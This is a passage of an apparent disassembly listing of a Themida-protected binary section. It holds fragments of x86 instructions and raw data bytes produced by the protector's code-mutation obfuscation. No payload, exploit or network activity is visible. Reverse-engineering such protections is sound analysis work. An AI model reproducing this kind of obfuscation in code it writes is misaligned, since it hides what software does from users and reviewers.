		dd 89241C89h, 0A9A9E9E3h, 0C781FFFFh, 4, 4B951h, 0CF290000h
		dd 243C3359h, 33243C31h, 895C243Ch, 8B54243Ch, 0C483243Ch
		dd 4C78104h, 53000000h,	2BBh, 0F5C78100h, 0E94FE218h, 0FFFF9EC6h
		dd 875EF101h, 315C240Ch, 0B60F66C3h, 6BEAE900h,	2859FFFFh
		dd 24148BF3h, 4C481h, 6BE90000h, 5CFFFF86h, 9C240431h
		dd 0FF59D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559085:				; CODE XREF: Themida_:00551720j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_552758
; ---------------------------------------------------------------------------
		db 56h
		dd 4E2E96BEh, 37EE8138h, 4618F402h, 2C5CBB53h, 0DE291F5Ah
		dd 83241C8Bh, 0F00104C4h, 2404875Eh, 8124248Bh,	4C7h, 2C78300h
		dd 0E9243C33h, 0FFFF5D79h, 0B7241C89h, 0FD8851A1h, 5B59EE88h
		dd 0FFB8C3E9h, 24148BFFh, 4C481h, 0B6520000h, 0D2F680B5h
		dd 5AF328h, 0E95066C3h,	0FFFF6011h, 53243489h, 0FFB87AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590FD:				; CODE XREF: Themida_:0054FF1Dj
		pop	ebp
		push	eax
		sub	esp, 4
		jmp	loc_5599DD
; ---------------------------------------------------------------------------


loc_55910A:				; CODE XREF: Themida_:0054F9EAj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_550A9B
; ---------------------------------------------------------------------------
		db 68h,	7Fh, 22h
		dd 27E90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559123:				; CODE XREF: Themida_:00552AECj
		push	2F20h
		mov	[esp], eax
		push	18CCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		mov	ebp, 41AA4816h
		inc	ebp
		xor	ebp, 41AA4813h
		add	eax, ebp
		jmp	loc_55148A
; ---------------------------------------------------------------------------
		dd 8106E7C1h, 1225E1C7h, 7A5686Eh, 14890000h, 2110BA24h
		dd 0EA81633Eh, 0C65E9FB3h, 0EDE9D729h, 0B9FFFF61h, 0FCDC5743h
		dd 5B41C281h, 0EA8166F7h, 1C60260Fh, 0B9E9CA29h, 31FFFF98h
		dd 6E4FE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55918E:				; CODE XREF: Themida_:005555BCj
		add	eax, edi
		jmp	loc_55B093
; ---------------------------------------------------------------------------


loc_559195:				; CODE XREF: Themida_:0055634Fj
		pop	eax
		push	7596h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	$+5
		push	1D57h
		jmp	loc_558236
; ---------------------------------------------------------------------------
		db 1, 0D9h, 81h
		dd 162888E9h, 0C335B21h, 240C3124h, 0E9240C33h,	0FFFFB266h
		dd 5D2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 4C581h
		dd 0E9510000h, 68Eh
; ---------------------------------------------------------------------------


loc_5591EC:				; CODE XREF: Themida_:00558077j
		xchg	ebp, [esp]
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		dd 0C337F9BFh, 0E947470Bh, 0FFFFE3A3h, 435EF387h, 0FFDA52E9h
		dd 1057BEFFh, 0F2010BC6h, 0E9EA015Eh, 0FFFF97EEh, 0F9ACE95Fh
		dd 575EFFFFh, 0FFCF83E9h, 5AD001FFh, 0FFFA9BE9h, 4C281FFh
		dd 83000000h, 0FCE904C2h, 56FFFF92h, 0FFCFDCE9h, 40558FFh
		dd 55000000h, 486293BDh, 0EFECE96Dh, 0C481FFFFh, 4, 0ABDE981h
		dd 0C1297EA9h, 0ABDC181h, 51587EA9h, 1242C81h, 59000000h
		dd 1DA2E981h, 0B9514701h, 0A475605h, 0FF96AEE9h, 815A58FFh
		dd 4ECh, 243C8900h, 3B2CEFBFh, 0B1ABE97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559296:				; CODE XREF: Themida_:00552171j
					; Themida_:00555F95j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_556D18
; ---------------------------------------------------------------------------
		db 66h
		dd 63B5515Ah, 8165B252h, 2ECh, 1C896600h, 8CB05024h, 0C328C6B3h
		dd 66DA2858h, 6EAC05Bh,	0FFE7CFE9h, 1C77FFFFh, 0D259669Dh
		dd 0E99C241Ch, 0FFFFBB9Eh
; ---------------------------------------------------------------------------


loc_5592DC:				; CODE XREF: Themida_:0055166Aj
		sub	ecx, ebx
		pop	ebx
		mov	[edi+24h], ecx
		pop	ecx
		xor	edx, edx
		push	420Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5501CD
; ---------------------------------------------------------------------------
		dd 685AD601h, 7EC2h, 68242C89h,	55A3h, 0FFAC29E9h, 5266ACFFh
		dd 40E9B7B6h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_559317:				; CODE XREF: Themida_:005569E8j
		xor	ebp, 3E6964FBh
		add	eax, ebp
		jmp	loc_55AF03
; ---------------------------------------------------------------------------


loc_559324:				; CODE XREF: Themida_:005520A9j
		xor	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 1
		jmp	loc_5586D8
; ---------------------------------------------------------------------------


loc_559339:				; CODE XREF: Themida_:00551873j
		mov	edx, 18AC104Eh
		jmp	loc_555133
; ---------------------------------------------------------------------------


loc_559343:				; CODE XREF: Themida_:00550B48j
		mov	esi, 7C200556h
		xor	esi, 6F003852h
		jmp	loc_54FEDB
; ---------------------------------------------------------------------------
aNhgl		db '­hgl',0
		dd 241C8900h, 71610668h, 0D3F75B28h, 7FEEEB81h,	0D829A569h
		dd 67A22D5Bh, 0D22D1573h, 2D5ADE74h, 8863E2Bh, 2B05D829h
		dd 508863Eh, 5ADE74D2h,	7367A205h, 16685215h, 5A670923h
		dd 203CB951h, 0E9D12315h, 1762E949h, 0BA520000h, 460A427Bh
		dd 0FFEEC6E9h, 2B850FFh, 0E9000000h, 0FFFFD882h, 8B242C33h
		dd 99E92424h, 81FFFF56h, 4C2h, 4EA8300h, 5C241487h, 0FF57EEE9h
		dd 2CE668FFh, 3C890000h, 4EC8324h, 0E9243489h, 0FFFF690Dh
		dd 875AD501h, 665C242Ch, 6866F9F7h, 89666238h, 50662414h
		dd 565AE99Ch, 895CFFFFh, 7E682404h, 584D0A6Ch, 97BFE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559412:				; CODE XREF: Themida_:00555A5Ej
		mov	eax, esp
		push	edx
		mov	edx, 42E92D34h
		push	esi
		mov	esi, 51BB3DB4h
		add	edx, esi
		pop	esi
		and	edx, 30013392h
		sub	edx, 1000227Ch
		jmp	loc_5502D7
; ---------------------------------------------------------------------------
		dd 6405082Dh, 1DBB5362h, 435CC42Dh, 56DBF743h, 387ACBBEh
		dd 5EF3213Ch, 73D7BF57h, 0FB01B856h, 5BD8015Fh,	4247BF57h
		dd 0EFD112F0h, 6105F781h, 0F0E94711h, 81FFFFE3h, 35106AE9h
		dd 81F10157h, 35106AC1h, 0C875E57h, 22E95C24h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559483:				; CODE XREF: Themida_:005573A6j
		add	eax, 599A2A90h
		add	eax, ebp
		sub	eax, 599A2A90h
		pop	ebp
		jmp	loc_553B5B
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 60h
		dd 896AAC4Ah, 1A15E9CFh, 0C2810000h, 4,	5C241487h, 0FF722BE9h
		dd 24248BFFh, 24040166h, 8C97E99Ch, 0F381FFFFh,	19937834h
		dd 1C98E9h
		db 0
; ---------------------------------------------------------------------------


loc_5594C9:				; CODE XREF: Themida_:00551457j
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_5550D1
; ---------------------------------------------------------------------------
		dw 0EB09h
		dd 29E3815Dh, 0C122BD5Eh, 0DBF706EBh, 6E7BC381h, 0F38140F8h
		dd 6743772h, 0FFB965E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5594F5:				; CODE XREF: Themida_:0055970Cj
		pop	edx
		mov	dl, 57h
		sub	dl, 90h
		sub	dl, cl
		add	dl, 90h
		pop	ecx
		add	al, dl
		pop	dx
		jmp	loc_5568CD
; ---------------------------------------------------------------------------


loc_55950A:				; CODE XREF: Themida_:00552C3Aj
		sub	edx, 27286650h
		add	edx, edi
		add	edx, 27286650h
		jmp	loc_54EDBD
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 17h
		dd 11446B0h, 52E95FFEh,	5BFFFFF6h, 0C8BC889h, 0FD1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559536:				; CODE XREF: Themida_:00558F63j
		add	edx, ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		jmp	loc_559B23
; ---------------------------------------------------------------------------
		dw 0C368h
		dd 89000036h, 0AFE9241Ch, 4FFFFF7h, 0E9F028D7h,	0FFFF699Ah
		dd 426BBE56h, 0E6811F9Ch, 7C1E0D8Fh, 460FF681h,	0F3296A70h
		dd 0E9C3015Eh, 0FFFFD37Fh
; ---------------------------------------------------------------------------


loc_55957C:				; CODE XREF: Themida_:00559F3Cj
		sub	bl, dl
		add	bl, 0CAh
		sub	bl, 13h
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 60h
		jmp	loc_55017B
; ---------------------------------------------------------------------------
		dw 0C5E9h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559597:				; CODE XREF: Themida_:0054F56Cj
		or	edi, ecx
		jmp	loc_5514CD
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 4C4815Ch,	35000000h, 1952077Bh, 4922B951h
		dd 37E92202h, 31FFFF83h, 42E95BD9h, 83FFFF7Ah, 5F0904C4h
		dd 2434FF1Ch, 0FFD478E9h, 5089B4FFh, 0E228E2B4h, 80E22858h
		dd 54E9E2C2h, 89FFFFBCh, 2BA2414h, 1000000h, 1C335AD3h
		dd 241C3124h, 118CE9h, 545EE900h, 8864FFFFh, 5456E902h
		dd 0E981FFFFh, 0EBA5EE79h, 0F7E9C801h, 0F7FFFFBAh, 48582414h
		dd 0FFA440E9h, 1E3F68FFh, 96E9355Bh, 80FFFF5Eh,	42E94AC7h
		dd 1FFFF5Fh, 0B9515FF8h, 274A0599h, 0FFB0BDE9h,	842BBFFh
		dd 0F38111AAh, 33CE1160h, 0F3C3814Bh, 0F7667D0Eh, 0CBF381DBh
		dd 0E92F6495h, 0FFFF741Fh, 80D0E680h, 0F680EEF6h, 5AF48876h
		dd 1500E9h
		db 0
; ---------------------------------------------------------------------------


loc_55966D:				; CODE XREF: Themida_:00551D3Cj
		xor	ebp, 1C3551F0h
		shr	ebp, 2
		push	edx
		mov	edx, 577C52ACh
		and	edx, 0EFF3818h
		jmp	loc_554A66
; ---------------------------------------------------------------------------
		db 5Ah
		dd 6804C483h, 523Ch, 0FFEB1FE9h, 241C87FFh, 2434895Ch
		dd 0C681E689h, 4, 2C681h, 34870000h, 1BE95C24h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5596B3:				; CODE XREF: Themida_:0055AD7Cj
		inc	ebp
		add	ebp, 731D1425h
		and	ebp, 3AE53E40h
		not	ebp
		add	ebp, 1764342Dh
		and	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 76C628FCh
		or	esi, 6BB5270Dh
		not	esi
		shl	esi, 6
		push	ecx
		jmp	loc_557CF1
; ---------------------------------------------------------------------------


loc_5596E2:				; CODE XREF: Themida_:00550D89j
		neg	eax
		dec	eax
		xor	eax, 8A174CC6h
		jmp	loc_554C93
; ---------------------------------------------------------------------------
		db 83h
		dd 28E904C4h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5596F7:				; CODE XREF: Themida_:00557B54j
		add	eax, ecx
		jmp	loc_5558D9
; ---------------------------------------------------------------------------


loc_5596FE:				; CODE XREF: Themida_:00556D93j
		sub	esp, 4
		jmp	loc_54F7D7
; ---------------------------------------------------------------------------


loc_559706:				; CODE XREF: Themida_:0054FC8Dj
		push	ecx
		push	edx
		mov	dl, 6Bh
		mov	cl, dl
		jmp	loc_5594F5
; ---------------------------------------------------------------------------


loc_559711:				; CODE XREF: Themida_:0055A31Aj
		pop	edx
		jmp	loc_554490
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E952D831h, 0FFFF8057h, 4BBh, 5BD80100h, 0FF535CE9h
		dd 2B9FFh, 0CF010000h, 592434FFh, 4C481h, 0FF570000h, 0E9042474h
		dd 0FFFFD691h
; ---------------------------------------------------------------------------


loc_559748:				; CODE XREF: Themida_:00555465j
		push	edx
		mov	edx, 0
		mov	ebx, edx
		pop	edx
		sub	ebx, 1D9A5AC8h
		push	ebp
		mov	ebp, 30AC01CDh
		shr	ebp, 1
		and	ebp, 2B83389h
		sub	ebp, 67174401h
		shl	ebp, 7
		xor	ebp, 208525E2h
		jmp	loc_557E1B
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0C1h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55977F:				; CODE XREF: Themida_:00559AA5j
		add	ch, 7Dh
		add	ch, bl
		sub	ch, 7Dh
		pop	ebx
		add	ch, 0CFh
		jmp	loc_55A3D2
; ---------------------------------------------------------------------------
		dd 81DAF758h, 501F0BF2h, 78BD554Ah, 817E133Ch, 457D7EAh
		dd 0E9EA0117h, 0FFFFE208h, 0B9E9D089h, 89FFFF9Bh, 8B542404h
		dd 0C4832404h, 4EC8304h, 0BA241489h, 4,	565AD001h, 2BEh
		dd 3C250500h, 0F0014B72h, 723C252Dh, 2434FF4Bh,	0FFFA39E9h
		dd 0C50159FFh, 582434FFh, 8104C483h, 2C5h, 33BF6800h, 2C890000h
		dd 2474FF24h, 242C8B04h, 4C481h, 48F0000h, 3B665C24h, 45E99CC8h
		dd 81FFFF52h, 9C360EEAh, 240C8B0Eh, 0FFD9A9E9h,	8BD028FFh
		dd 5AE92414h, 57FFFF7Eh, 243C8B54h, 4C481h, 0C7810000h
		dd 4, 4EC81h, 14890000h, 2BA24h, 0D7010000h, 5A12E95Ah
		dd 815BFFFFh, 2E1DE1C3h, 0E9D98978h, 0FFFFE251h
; ---------------------------------------------------------------------------


loc_559864:				; CODE XREF: Themida_:0054FD69j
		pop	ebp
		add	ebp, 406574E1h
		pop	edx
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_559995
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 1000000h, 0EC8359CDh, 374E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55988A:				; CODE XREF: Themida_:00552BC6j
		mov	ebx, esp
		jmp	loc_5528D9
; ---------------------------------------------------------------------------


loc_559891:				; CODE XREF: Themida_:00553F14j
		pop	ecx
		pop	ebx
		add	ebx, 4
		push	ecx
		jmp	loc_54F5B0
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA04246Ch, 8114CC38h, 0C804246Ch, 155B54Bh,	8104245Ch
		dd 0C8042444h, 8155B54Bh, 0DA042444h, 5B14CC38h, 0FFB271E9h
		dd 24048BFFh, 0FFEA39E9h, 35B850FFh, 0D3EEB4Fh,	68481F30h
		dd 1332BA52h, 424236E2h, 761DF281h, 0C9E906DAh,	81FFFFDBh
		dd 4C7h, 243C8700h, 4055Ch, 0BB530000h,	2, 335BD801h, 4312404h
		dd 24043324h, 6624248Bh, 9C240409h, 0FF513FE9h,	0DBF181FFh
		dd 50430A29h, 901E5CB8h, 58C1313Ah, 0B850D9F7h,	0AC523D2h
		dd 2958C101h, 240C8BCBh, 0FF781DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559941:				; CODE XREF: Themida_:00553D65j
		add	ebp, edi
		pop	edi
		push	eax
		jmp	loc_55AA47
; ---------------------------------------------------------------------------
		dw 483h
		dd 815F0424h, 4ECh, 24048900h, 468h, 0EF815800h, 5FE4430Bh
		dd 0C781C701h, 5FE4430Bh, 4C78358h, 31243C33h, 3C33243Ch
		dd 24248B24h, 0FFDA9FE9h, 240489FFh, 5166FAB0h,	83E9EAB5h
		dd 51FFFF8Ah, 5D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_559995:				; CODE XREF: Themida_:00559875j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	21C0h
		jmp	loc_54F60D
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0E1h
		dd 20016866h, 24148966h, 0E99C5066h, 0FFFF50A4h, 0E904C483h
		dd 0FFFFA1F0h
; ---------------------------------------------------------------------------


loc_5599C0:				; CODE XREF: Themida_:00557DD6j
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 4
		add	ebx, 0D745BB0h
		add	ebx, edi
		sub	ebx, 0D745BB0h
		pop	edi
		jmp	loc_55847A
; ---------------------------------------------------------------------------


loc_5599DD:				; CODE XREF: Themida_:00559105j
		mov	[esp], ebx
		push	2A454DF5h
		jmp	loc_55B07C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 81000000h,	8B04246Ch, 563DC969h, 0B93A20BEh
		dd 24742947h, 24348B08h, 8B04C483h, 0C4832404h,	5046E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A16:				; CODE XREF: Themida_:0055A414j
		mov	[esp], ebp
		mov	ebp, 4E8E04C7h
		jmp	loc_551F7D
; ---------------------------------------------------------------------------
		db 66h
		dd 55240C8Bh, 0FFB27FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A2D:				; CODE XREF: Themida_:005507C6j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5504AE
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFD092h, 4BBh, 827E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A4A:				; CODE XREF: Themida_:0055B0C4j
		inc	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	[edi+24h], ebp
		xor	ebp, [edi+24h]
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], ebp
		pop	ecx


loc_559A65:				; CODE XREF: Themida_:0055ABDAj
		push	72FFh
		jmp	loc_55A294
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F4E92424h, 8BFFFF8Dh, 0AAE92424h, 0BFFFFF90h, 2, 0FF94C3E9h
		dd 5BDF01FFh, 2C781h, 3C870000h, 6748E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A9A:				; CODE XREF: Themida_:0055569Bj
		pop	ebx
		push	3088h
		mov	[esp], ebx
		mov	bl, 0DFh
		jmp	loc_55977F
; ---------------------------------------------------------------------------


loc_559AAA:				; CODE XREF: Themida_:00555748j
		sub	al, 0D9h
		inc	al
		jmp	loc_54EC49
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 24048F5Dh,	0FF5955E9h, 339BFFFh, 0C78168E4h
		dd 971BFCCBh, 0B42A4F05h, 2DF8017Bh, 7BB42A4Fh,	2C0835Fh
		dd 4EC81h, 4890000h, 2474FF24h,	24048B04h, 81E78957h, 4C7h
		dd 0BD555300h, 7D751E35h, 751E39BBh, 5DEB297Dh,	0BCE9DF01h
		dd 51FFFF80h, 0C181E189h, 4, 4C181h, 0C870000h,	39E95C24h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B23:				; CODE XREF: Themida_:00559545j
		push	eax
		mov	eax, 217E7926h
		shr	eax, 1
		shr	eax, 5
		jmp	loc_556E78
; ---------------------------------------------------------------------------
		db 5Ch
		dd 6824048Bh, 5E9Dh, 54242C89h,	0E9242C8Bh, 14Eh, 0E9240487h
		dd 0FFFFFEEAh, 0E9243C89h, 471h, 0F92CC92Ch, 0C9E9CA04h
		dd 68FFFFDCh, 2F85h, 89241C89h,	4C381E3h, 68000000h, 14CBh
		dd 0FFFA66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559B7D:				; CODE XREF: Themida_:00554B0Bj
		sub	ebp, 789F71CBh
		add	ecx, ebp
		pop	ebp
		jmp	loc_551063
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFEEEFE9h, 0E9CA88FFh, 0FFFF6E70h, 223968h,	24348900h
		dd 4BEh, 0A0ACE900h, 1F68FFFFh,	89000031h, 72E92404h, 66FFFFCCh
		dd 0E924048Bh, 0FFFFA2C1h
; ---------------------------------------------------------------------------


loc_559BC0:				; CODE XREF: Themida_:00555AFCj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		jmp	loc_552657
; ---------------------------------------------------------------------------
		dd 4C481h, 0CCE90000h, 5DFFFF80h, 7C64BA52h, 0E3E93FFCh
		dd 5CFFFFE2h, 50241489h, 4E5EE99Ch, 2C89FFFFh, 73A7E924h
		dd 0F031FFFFh, 5E2434FFh, 5104C483h, 2781BE56h,	0E9562396h
		dd 0FFFFC991h, 2BEh, 5EF38900h,	335BD901h, 0C31240Ch, 240C3324h
		dd 0FF84C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C35:				; CODE XREF: Themida_:0055636Cj
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 13AA0440h
		and	eax, ecx
		jmp	loc_559D00
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 8
		dd 86FE281h, 5342176Ch,	480864BBh, 5BDA2900h, 148BD601h
		dd 4C48124h, 87000000h,	248B2434h, 0A30F6624h, 0E99C2404h
		dd 0FFFF4DE0h, 55240C89h, 0FF91A8E9h, 24248BFFh, 0FF6AC6E9h
		dd 241489FFh, 9AAFE953h, 0E953FFFFh, 0FFFF58ECh, 0FF4DBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559CA1:				; CODE XREF: Themida_:0055AE99j
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_551547
; ---------------------------------------------------------------------------
		dd 61C28158h, 1058348h,	61B951FAh, 29058348h, 9CE959CAh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559CCB:				; CODE XREF: Themida_:00550570j
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5544D0
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 152DE9h
		db 0
; ---------------------------------------------------------------------------


loc_559CE5:				; CODE XREF: Themida_:00559D9Ej
		mov	cl, 0Dh
		xor	ah, cl
		pop	ecx
		xor	ah, 23h
		jmp	loc_553D74
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 0E9000000h, 0FFFF5743h
; ---------------------------------------------------------------------------


loc_559D00:				; CODE XREF: Themida_:00559C48j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A757
; ---------------------------------------------------------------------------


loc_559D0B:				; CODE XREF: Themida_:005555AFj
		add	esp, 4
		not	edi
		push	eax
		mov	eax, 699F1868h
		or	edi, eax
		pop	eax
		sub	edi, 66451F0Dh
		sub	edi, 95927C6Dh
		sub	esp, 4
		mov	[esp], edi
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_55ABC2
; ---------------------------------------------------------------------------
		db 30h
		dd 86012CC5h, 8469E9C5h, 34FFFFFFh, 89535824h, 0C0F6E9E3h
		dd 8B66FFFFh, 0D7682404h, 0E900003Fh, 0FFFF5F03h, 8904EC83h
		dd 0E954243Ch, 0FFFFF4ACh, 55D830ACh, 6CFFE954h, 0EF83FFFFh
		dd 3E7C101h, 8959C781h,	0FD29A332h, 148B555Fh, 4C48324h
		dd 0B4BB535Dh, 310C41F4h, 13E95BDAh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_559D9B:				; CODE XREF: Themida_:005577B6j
		mov	[esp], ecx
		jmp	loc_559CE5
; ---------------------------------------------------------------------------


loc_559DA3:				; CODE XREF: Themida_:00557D10j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_553973
; ---------------------------------------------------------------------------
		dw 0D031h
		dd 3B04685Ah, 2C890000h, 0D855E924h, 0C5FEFFFFh, 8004EDC0h
		dd 0EA8815EDh, 108BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559DCE:				; CODE XREF: Themida_:00555A77j
		push	ecx
		push	esp
		jmp	loc_5572FA
; ---------------------------------------------------------------------------
		db 5, 0Fh, 21h
		dd 0F00110CBh, 0CB210F2Dh, 24348B10h, 0E904C483h, 0FFFF94A5h
		dd 68h,	0E409E900h, 0E951FFFFh,	0FFFFF373h
; ---------------------------------------------------------------------------


loc_559DFC:				; CODE XREF: Themida_:005563C3j
		add	ebx, 4
		jmp	loc_551B27
; ---------------------------------------------------------------------------


loc_559E07:				; CODE XREF: Themida_:0055449Ej
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55A7D7
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 0FFFFC8CDh, 0E951C300h, 0FFFFA7C7h
; ---------------------------------------------------------------------------


loc_559E28:				; CODE XREF: Themida_:00553889j
		add	al, ch
		jmp	loc_54EB39
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 56000000h,	4BEh, 0E9F10100h, 0FFFFEDFFh, 0B95AD789h
		dd 75374A50h, 815FF931h, 0F23FD6C1h, 0D5E98115h, 1452A7Fh
		dd 9FDAE9D1h, 0F5E9FFFFh, 29FFFF4Bh, 243C8BF8h,	4C481h
		dd 482D0000h, 2560EC4Bh, 454B5F62h, 4155002Dh, 32EF8101h
		dd 0E972F00Ah, 0FFFFCD60h, 240C8B66h, 0E95B5453h, 0FFFFAF8Fh
		dd 34FFF501h, 0C4815E24h, 4, 0FFB594E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559EA9:				; CODE XREF: Themida_:005561FCj
		mov	esi, [esp]
		jmp	loc_550F8E
; ---------------------------------------------------------------------------
		db 57h,	55h, 0BDh
		dd 1A077BCEh, 0F5FE9h, 79FA6800h, 815B344Fh, 81D85FC3h
		dd 0CD73E93Dh, 0C768FFFFh, 8900004Ah, 0E5B22414h, 805FB353h
		dd 0EB80E2C3h, 52D3F699h, 0FFD372E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559EE9:				; CODE XREF: Themida_:005533DDj
		mov	bl, al
		jmp	loc_5503C9
; ---------------------------------------------------------------------------


loc_559EF0:				; CODE XREF: Themida_:005535EEj
		pop	ebx
		and	ebx, 42330F7Ah
		jmp	loc_558EF8
; ---------------------------------------------------------------------------
		dd 0FF4B5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F01:				; CODE XREF: Themida_:0054ECF1j
		mov	[esp], ebp
		mov	ebp, 1
		push	ecx
		push	ebp
		jmp	loc_55693F
; ---------------------------------------------------------------------------
		dd 531CA81h, 0E9532349h, 0FFFF895Dh, 240C875Eh,	5324248Bh
		dd 2E9E389h, 4DFFFF82h,	0C581454Dh, 246D7ECAh, 0FF9CC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F39:				; CODE XREF: Themida_:00550FF1j
		sub	bl, 0CAh
		jmp	loc_55957C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 0E904C483h, 0FFFF5EDFh, 5768E1F7h, 8900002Eh
		dd 9C502414h, 0FF4AFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F61:				; CODE XREF: Themida_:00551A59j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55835F
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1830000h, 240C8704h, 1C77095Ch, 8B2434FFh
		dd 0C4812434h, 4, 81E68956h, 4C6h, 0E5E95700h, 89FFFF52h
		dd 4C381E3h, 0E9000000h, 0FFFFE581h, 0A551E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FAE:				; CODE XREF: Themida_:0055A488j
		push	esi
		mov	esi, 70434958h
		neg	esi
		and	esi, 0C546BBFh
		sub	esi, 5A397721h
		not	esi
		jmp	loc_5521EC
; ---------------------------------------------------------------------------
		db 0BFh, 9Ch, 54h
		dd 0EF87295Fh, 4FEF874Dh, 0BB53D7F7h, 29D3620h,	989E381h
		dd 0E3813165h, 7EFD1D37h, 153AE381h, 0C38173A3h, 59AD4A2Eh
		dd 525BDF01h, 0C4E9E289h, 0FFFFFFF3h, 4A56E932h, 5B66FFFFh
		dd 78CE9h, 24348100h, 332A2154h, 83243C8Bh, 0F78104C4h
		dd 332A2154h, 0DFC3815Eh, 1182846h, 0DFEB81FBh,	5F182846h
		dd 8904EC83h, 0E957240Ch, 0FFFFD992h, 81242489h, 42404h
		dd 575B0000h, 0FF4A5EE9h, 0BCF581FFh, 534A034Eh, 2C72BE56h
		dd 58BB729Eh, 313D5B61h, 0F3815EF3h, 92F5DA22h,	0FF651FE9h
		dd 80C1FEFFh, 0E1C072C9h, 0E9D9F607h, 0FFFF5FA3h, 5BBBF681h
		dd 0E8E9052Bh, 52FFFFDBh, 4BAh,	0C76BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A092:				; CODE XREF: Themida_:005531FBj
		xor	edx, 1D6E01CDh
		add	edx, 19D5094Bh
		shl	edx, 8
		neg	edx
		jmp	loc_550D7A
; ---------------------------------------------------------------------------
